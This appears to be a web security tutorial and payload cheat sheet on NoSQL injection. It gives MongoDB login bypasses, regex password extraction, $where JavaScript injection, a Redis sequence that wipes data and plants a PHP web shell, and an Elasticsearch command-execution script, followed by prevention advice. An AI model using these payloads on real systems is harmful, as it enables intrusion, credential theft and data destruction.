NoSQL Injection: MongoDB, CouchDB, and Beyond (2025)
NoSQL databases power modern web applications — MongoDB alone is used by millions of apps. But "NoSQL" doesn't mean "no injection." NoSQL injection is a distinct vulnerability class that exploits the query syntax of non-relational databases to bypass authentication, extract data, and sometimes achieve remote code execution.
NoSQL vs SQL Injection
Traditional SQL injection exploits string concatenation in SQL queries. NoSQL injection typically exploits:
- Operator injection — injecting query operators like
$gt,$ne,$regexinto MongoDB queries - JavaScript injection — injecting JavaScript into server-side
$whereclauses - JSON injection — manipulating JSON query structures via parameter pollution
The key difference: NoSQL injection often targets structured data formats (JSON objects) rather than string-based queries.
MongoDB Operator Injection
Authentication Bypass
The most common NoSQL injection. If the application builds a MongoDB query from user input:
// Vulnerable server-side code
db.users.find({username: req.body.username, password: req.body.password})
// Normal request
{"username": "admin", "password": "password123"}
// Attack — $ne means "not equal"
{"username": "admin", "password": {"$ne": ""}}
// This becomes: find where username="admin" AND password != ""
// Returns the admin user without knowing the password!
Operator Injection via URL Parameters
Many frameworks automatically parse bracket notation into objects:
# Express.js / PHP automatically converts this to an object
username=admin&password[$ne]=anything
# Equivalent to: {"username": "admin", "password": {"$ne": "anything"}}
# Other useful operators
password[$gt]= (password greater than empty string)
password[$regex]=.* (password matches any regex)
password[$exists]=true (password field exists)
Extracting Data with $regex
Use regex operator injection to extract data character by character:
# Check if password starts with 'a'
{"username": "admin", "password": {"$regex": "^a"}}
# Check if password starts with 'ad'
{"username": "admin", "password": {"$regex": "^ad"}}
# Extract the full password character by character
{"username": "admin", "password": {"$regex": "^adm"}}
{"username": "admin", "password": {"$regex": "^admi"}}
{"username": "admin", "password": {"$regex": "^admin"}}
This is a blind technique — you determine each character based on whether the login succeeds or fails.
Enumerating Users
# Find all users (not just admin)
{"username": {"$ne": ""}, "password": {"$ne": ""}}
# Get users one at a time with $nin (not in)
{"username": {"$nin": ["admin"]}, "password": {"$ne": ""}}
{"username": {"$nin": ["admin", "user1"]}, "password": {"$ne": ""}}
# Regex enumeration
{"username": {"$regex": "^a"}, "password": {"$ne": ""}}
{"username": {"$regex": "^b"}, "password": {"$ne": ""}}
JavaScript Injection ($where)
MongoDB's $where operator accepts JavaScript expressions — if user input reaches a $where clause, you can inject arbitrary JavaScript:
# Time-based detection
{"$where": "sleep(5000)"}
{"$where": "this.username == 'admin' && sleep(5000)"}
# Data exfiltration via error messages
{"$where": "this.password.match(/^a/) ? true : (function(){throw this.password})()"}
# Boolean-based blind extraction
{"$where": "this.username == 'admin' && this.password.match(/^adm/)"}
# Always true (return all documents)
{"$where": "1==1"}
' || 1==1 || '
'; return true; var x='
Server-Side JavaScript Injection
Beyond $where, MongoDB has other JS execution contexts:
# $function (MongoDB 4.4+)
{"$expr": {"$function": {"body": "function(){return true}", "args": [], "lang": "js"}}}
# mapReduce
db.collection.mapReduce(
"function(){emit(1, this.password)}", // injectable
"function(k,v){return v}",
{out: "output"}
)
CouchDB Injection
CouchDB uses HTTP REST API and Mango queries:
# Authentication bypass via Mango query injection
{"selector": {"username": "admin", "password": {"$ne": ""}}}
# View injection (if user input reaches view definitions)
# CouchDB views use JavaScript map/reduce functions
function(doc) { if(doc.type == 'user') emit(doc.username, doc.password); }
# API enumeration
GET /_all_dbs (list all databases)
GET /dbname/_all_docs (list all documents)
GET /_users/_all_docs (list all users)
Other NoSQL Databases
Cassandra (CQL Injection)
# CQL is similar to SQL but with different syntax
' OR token(username) > token('') --
# Cassandra doesn't support UNION but you can:
# 1. Use boolean-based blind injection
# 2. Exploit IF conditions in INSERT/UPDATE
Redis (Command Injection)
# If user input reaches Redis commands
FLUSHALL (delete all data)
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET payload "<?php system($_GET['cmd']); ?>"
SAVE (write web shell to disk)
Redis command injection can be chained with SSRF via gopher protocol to attack internal Redis instances.
Elasticsearch
# Query DSL injection
{"query": {"bool": {"must": [{"match_all": {}}]}}}
# Script injection (if scripting is enabled)
{"script": {"source": "Runtime.getRuntime().exec('id')"}}
NoSQL Injection in APIs
Modern APIs are especially vulnerable because they natively accept JSON:
# GraphQL with MongoDB backend
query {
user(filter: {password: {$ne: ""}}) {
username
email
}
}
# REST API with JSON body
POST /api/login
Content-Type: application/json
{"email": {"$gt": ""}, "password": {"$gt": ""}}
Test your GraphQL endpoints with our GraphQL Injection Generator for query-specific payloads.
Tools and Automation
- NoSQLMap — automated NoSQL injection scanner and exploiter
- Burp Suite — intercept and modify JSON payloads
- mongosh — MongoDB shell for manual testing
Prevention
- Never build queries by concatenating user input — use parameterized queries and ORM/ODM methods
- Validate and sanitize input types (reject objects when expecting strings)
- Disable server-side JavaScript execution (
$where,mapReduce) in production - Use MongoDB's
mongosanitizeor express-mongo-sanitize middleware - Implement input type checking (reject
$-prefixed keys in user input)
Generate NoSQL injection payloads for MongoDB, CouchDB, and more with our NoSQL Injection Generator. Use the Encoder/Decoder for URL-encoding JSON payloads, and check the NoSQL Injection Cheat Sheet for a complete payload reference.
For related database attacks, see our SQL Injection Generator covering MySQL, PostgreSQL, MSSQL, and Oracle.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides